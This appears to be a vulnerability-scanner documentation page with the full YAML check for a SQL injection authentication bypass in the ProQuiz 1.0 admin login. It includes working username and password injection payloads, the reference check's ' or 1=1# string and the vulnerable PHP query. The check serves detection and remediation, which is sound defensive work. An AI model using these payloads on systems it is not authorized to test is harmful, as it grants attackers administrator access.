ProQuiz — 1 vulnerability check
noctis ships 1 vulnerability check for ProQuiz, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ProQuiz admin/index.php SQL injection authentication bypass
| CVE | CVE-2008-6312, CVE-2008-6327 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/proquiz/proquiz-admin-login-sqli.yaml |
Looks for the ProQuiz administration login (admin/index.php showing "This is the Admin Panel of TRDC.IN") under /proquiz, /ProQuiz, /quiz and the web root. It then tests the user name and the password fields separately, without following redirects. For each field it first posts a login whose value ends with an always-false SQL condition (<random>' or N=M), which must be refused with the application's "No Admin with such a Username" message, then the same login with an always-true condition (<random>' or N=N), which must be answered with a redirect to admin.php. When both hold, the field is evaluated inside the login SQL query and the password check is bypassed; the user name and the password field are reported as separate findings. A login page that redirects to admin.php for the false condition too is reported separately, with low confidence. The requests are login attempts with random user names; no data is read or changed.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/admin/index.phpwith a crafted body - HTTP(S) request
POST {{dir}}/admin/index.phpwith a crafted body - HTTP(S) request
POST {{dir}}/admin/index.phpwith a crafted body - HTTP(S) request
POST {{dir}}/admin/index.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
v.usfor.→ finding QoD 97: ProQuiz admin/index.php SQL injection authentication bypass (username) - Checks
v.usfor.→ finding QoD 75: ProQuiz admin/index.php SQL injection authentication bypass (username) - Checks
v.psfor.→ finding QoD 97: ProQuiz admin/index.php SQL injection authentication bypass (password) - Checks
v.psfor.→ finding QoD 75: ProQuiz admin/index.php SQL injection authentication bypass (password) - Checks
v.ucfor.→ finding QoD 50: ProQuiz admin login redirects to admin.php for an invalid login - Checks
v.ucfor.
References:
- https://nvd.nist.gov/vuln/detail/CVE-2008-6312
- https://nvd.nist.gov/vuln/detail/CVE-2008-6327
- https://www.exploit-db.com/exploits/7397
- http://www.securityfocus.com/bid/32724
Feed source — tests/vulnerabilities/proquiz/proquiz-admin-login-sqli.yaml
# ProQuiz 1.0 admin/index.php SQL injection authentication bypass
# (CVE-2008-6312: username parameter, CVE-2008-6327: password parameter).
#
# Reference check: OpenVAS/Greenbone NVT `2009/ProQuiz_sql_injection.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.100040, GPL-2.0-only). It GETs <dir>/admin/index.php for
# /proquiz and the CGI dirs, requires "This is the Admin Panel of TRDC.IN", then POSTs
# username=' or 1=1#&password=x and reports "Location: admin.php" in the reply.
#
# Vulnerable code (ProQuiz 1.0, SourceForge project "proquiz", admin/index.php):
# $query = "SELECT * FROM ".$member_admin." WHERE `username` = '".$_POST['username']."'
# AND `password` = '".$_POST['password']."' ";
# if (mysql_num_rows(mysql_query($query)) > 0) { $_SESSION['username'] = ...;
# header('Location: admin.php'); }
# else $error = "No Admin with such a Username & Password Exist ! ...";
# Both fields are concatenated. ProQuiz 2.x is a rewrite without admin/index.php; 1.0
# was never fixed.
#
# Better than the reference check:
# - Tests both CVEs, each on its own field, with its own finding:
# username <rand>' or N=N-- - password <rand> (CVE-2008-6312)
# username <rand> password <rand>' or 'N'='N (CVE-2008-6327)
# ("-- -" instead of "#": valid MySQL comment, and random operands.)
# - Each injection has an always-false control of the same shape (N=M) sent first,
# which must get the app's own "No Admin with such a Username" rejection: true/false
# differential proves the field reaches the SQL query (QoD 97). Control without that
# rejection (no reply, error page) → QoD 75. Control also redirected to admin.php →
# separate QoD 50 hint without CVE (a login that admits anyone is not this bug).
# - Also tries /ProQuiz, /quiz and the web root.
# Also counted as a login: a 200 page with "headers already sent" (display_errors on,
# no output buffering: 1.0 prints notices before header()) that keeps the
# "New Session Started" message, which a POST only leaves when a row matched.
# Known limit: an empty pq_admin table (no administrator) gives no row for any
# condition — nothing to bypass then. The installer always creates one.
# No version fallback: the admin page shows no version, and an install whose quotes are
# escaped (magic_quotes_gpc) is not exploitable — reporting it would be a false positive.
# The requests are login attempts with random user names; at most a session is opened as
# the first administrator of the table. No data is read or changed.
uid: 48083120-0b0f-43a0-abdc-5379e30f1263
name: "ProQuiz admin/index.php SQL injection authentication bypass"
description: >-
Looks for the ProQuiz administration login (admin/index.php showing "This is the
Admin Panel of TRDC.IN") under /proquiz, /ProQuiz, /quiz and the web root. It then
tests the user name and the password fields separately, without following
redirects. For each field it first posts a login whose value ends with an
always-false SQL condition (<random>' or N=M), which must be refused with the
application's "No Admin with such a Username" message, then the same login with an
always-true condition (<random>' or N=N), which must be answered with a redirect to
admin.php. When both hold, the field is evaluated inside the login SQL query and the
password check is bypassed; the user name and the password field are reported as
separate findings. A login page that redirects to admin.php for the false condition
too is reported separately, with low confidence. The requests are login attempts
with random user names; no data is read or changed.
category: sqli
cves: [CVE-2008-6312, CVE-2008-6327]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [proquiz, php, mysql, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2008-6312"
- "https://nvd.nist.gov/vuln/detail/CVE-2008-6327"
- "https://www.exploit-db.com/exploits/7397"
- "http://www.securityfocus.com/bid/32724"
steps:
# Shared random values: field prefixes and the condition operands.
- id: gen
action: script
code: |
let n = rand_int(1000, 9999);
#{ u: rand_str(8), p: rand_str(10), n: n, f: n + 1 }
store_as: rv
# Loop group: every following step runs once per directory. Pre-initialise the
# stored results so a failed request never leaves them undefined or holding the
# previous directory's reply.
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/proquiz", "/ProQuiz", "/quiz", ""]
- id: init-uctl
action: set_var
var_name: uctl
var_value: {status: 0, body: ""}
- id: init-uinj
action: set_var
var_name: uinj
var_value: {status: 0, body: ""}
- id: init-pctl
action: set_var
var_name: pctl
var_value: {status: 0, body: ""}
- id: init-pinj
action: set_var
var_name: pinj
var_value: {status: 0, body: ""}
- id: admin-index
action: http_request
method: GET
path: "{{dir}}/admin/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: page
- id: gate
action: script
code: |
let b = if type_of(page.body) == "string" { page.body } else { "" };
#{ ok: page.status == 200 && ereg("This is the Admin Panel of TRDC\\.IN", b) }
store_as: fp
# ── user name field (CVE-2008-6312) ──
# Control: always-false condition, the rest of the query commented out.
- id: user-control
action: http_request
method: POST
path: "{{dir}}/admin/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/admin/index.php"
body: "username={{rv.u}}%27+or+{{rv.n}}%3D{{rv.f}}--+-&password={{rv.p}}"
store_as: uctl
- id: user-inject
action: http_request
method: POST
path: "{{dir}}/admin/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/admin/index.php"
body: "username={{rv.u}}%27+or+{{rv.n}}%3D{{rv.n}}--+-&password={{rv.p}}"
store_as: uinj
# ── password field (CVE-2008-6327) ──
# AND binds tighter than OR: username='u' AND password='p' or 'N'='N' is true.
- id: pass-control
action: http_request
method: POST
path: "{{dir}}/admin/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/admin/index.php"
body: "username={{rv.u}}&password={{rv.p}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}"
store_as: pctl
- id: pass-inject
action: http_request
method: POST
path: "{{dir}}/admin/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/admin/index.php"
body: "username={{rv.u}}&password={{rv.p}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}"
store_as: pinj
- id: verdict
action: script
code: |
fn admitted(r) {
if type_of(r) != "map" { return false; }
// display_errors + no output buffering: a notice printed before header()
// loses the redirect, but the page still shows the session-started message
// that only a matching row leaves in place after a POST.
if r.status == 200 && type_of(r.body) == "string" {
return ereg("This is the Admin Panel of TRDC\\.IN", r.body)
&& ereg("New Session Started", r.body)
&& ereg("headers already sent", r.body)
&& !ereg("No Admin with such a Username", r.body);
}
if r.status < 300 || r.status > 399 { return false; }
let h = r.headers;
if type_of(h) != "map" { return false; }
let loc = h["location"];
type_of(loc) == "string" && ereg("^(.*/)?admin\\.php([?#].*)?$", loc)
}
fn refused(r) {
type_of(r) == "map" && r.status == 200 && type_of(r.body) == "string"
&& ereg("No Admin with such a Username", r.body)
}
fn ctl_desc(r) {
if type_of(r) != "map" || r.status == 0 { "no reply" }
else { "status " + r.status + " without the rejection message" }
}
let uh = fp.ok && admitted(uinj);
let ph = fp.ok && admitted(pinj);
let ua = admitted(uctl);
let pa = admitted(pctl);
let ur = refused(uctl);
let pr = refused(pctl);
#{ u97: uh && ur, u75: uh && !ur && !ua,
p97: ph && pr, p75: ph && !pr && !pa,
any: (uh && ua) || (ph && pa),
found: uh || ph,
us: if uh { "" + uinj.status } else { "" },
ps: if ph { "" + pinj.status } else { "" },
uc: ctl_desc(uctl), pc: ctl_desc(pctl) }
store_as: v
- id: user-confirmed
action: match
source: v.us
pattern: "."
condition: "v.u97"
on_match:
finding:
cves: [CVE-2008-6312]
title: "ProQuiz admin/index.php SQL injection authentication bypass (username)"
description: "The ProQuiz administration login (admin/index.php) concatenates the username field into its SQL query, so an unauthenticated attacker bypasses the password check and opens an administrator session."
confidence_delta: 0.65
qod: 97
evidence: "ProQuiz admin panel at {{dir}}/admin/index.php: POST with username ending in ' or {{rv.n}}={{rv.n}}-- - answered status {{v.us}} and logged in (redirect to admin.php, or the session-started page after a \"headers already sent\" warning); the same login with the false condition {{rv.n}}={{rv.f}} was refused (\"No Admin with such a Username\")."
remediation: "ProQuiz 1.0 is no longer maintained and was never fixed: remove it, or restrict access to its admin/ directory to trusted users and change the login query to a prepared statement."
- id: user-unconfirmed-control
action: match
source: v.us
pattern: "."
condition: "v.u75"
on_match:
finding:
cves: [CVE-2008-6312]
title: "ProQuiz admin/index.php SQL injection authentication bypass (username)"
description: "The ProQuiz administration login (admin/index.php) concatenates the username field into its SQL query, so an unauthenticated attacker bypasses the password check and opens an administrator session."
confidence_delta: 0.50
qod: 75
evidence: "ProQuiz admin panel at {{dir}}/admin/index.php: POST with username ending in ' or {{rv.n}}={{rv.n}}-- - answered status {{v.us}} and logged in (redirect to admin.php, or the session-started page after a \"headers already sent\" warning); the false-condition control login was not refused normally ({{v.uc}})."
remediation: "ProQuiz 1.0 is no longer maintained and was never fixed: remove it, or restrict access to its admin/ directory to trusted users and change the login query to a prepared statement."
- id: pass-confirmed
action: match
source: v.ps
pattern: "."
condition: "v.p97"
on_match:
finding:
cves: [CVE-2008-6327]
title: "ProQuiz admin/index.php SQL injection authentication bypass (password)"
description: "The ProQuiz administration login (admin/index.php) concatenates the password field into its SQL query, so an unauthenticated attacker bypasses the password check and opens an administrator session."
confidence_delta: 0.65
qod: 97
evidence: "ProQuiz admin panel at {{dir}}/admin/index.php: POST with a random username and a password ending in ' or '{{rv.n}}'='{{rv.n}} answered status {{v.ps}} and logged in (redirect to admin.php, or the session-started page after a \"headers already sent\" warning); the same login with the false condition '{{rv.n}}'='{{rv.f}} was refused (\"No Admin with such a Username\")."
remediation: "ProQuiz 1.0 is no longer maintained and was never fixed: remove it, or restrict access to its admin/ directory to trusted users and change the login query to a prepared statement."
- id: pass-unconfirmed-control
action: match
source: v.ps
pattern: "."
condition: "v.p75"
on_match:
finding:
cves: [CVE-2008-6327]
title: "ProQuiz admin/index.php SQL injection authentication bypass (password)"
description: "The ProQuiz administration login (admin/index.php) concatenates the password field into its SQL query, so an unauthenticated attacker bypasses the password check and opens an administrator session."
confidence_delta: 0.50
qod: 75
evidence: "ProQuiz admin panel at {{dir}}/admin/index.php: POST with a random username and a password ending in ' or '{{rv.n}}'='{{rv.n}} answered status {{v.ps}} and logged in (redirect to admin.php, or the session-started page after a \"headers already sent\" warning); the false-condition control login was not refused normally ({{v.pc}})."
remediation: "ProQuiz 1.0 is no longer maintained and was never fixed: remove it, or restrict access to its admin/ directory to trusted users and change the login query to a prepared statement."
- id: any-login
action: match
source: v.uc
pattern: "."
condition: "v.any"
on_match:
finding:
cves: []
title: "ProQuiz admin login redirects to admin.php for an invalid login"
description: "The ProQuiz admin/index.php login redirected to admin.php both for an always-true and an always-false login condition. The administration area may be reachable without valid credentials; check it manually."
confidence_delta: 0.20
qod: 50
evidence: "POST {{dir}}/admin/index.php redirected to admin.php for a login ending in an always-true condition ({{rv.n}}={{rv.n}}) and also for the always-false condition ({{rv.n}}={{rv.f}})."
remediation: "Remove ProQuiz or restrict access to its admin/ directory to trusted users."
# One install reported: stop the directory loop.
- id: done
action: match
source: v.uc
pattern: "."
condition: "v.found"
on_match:
stop: true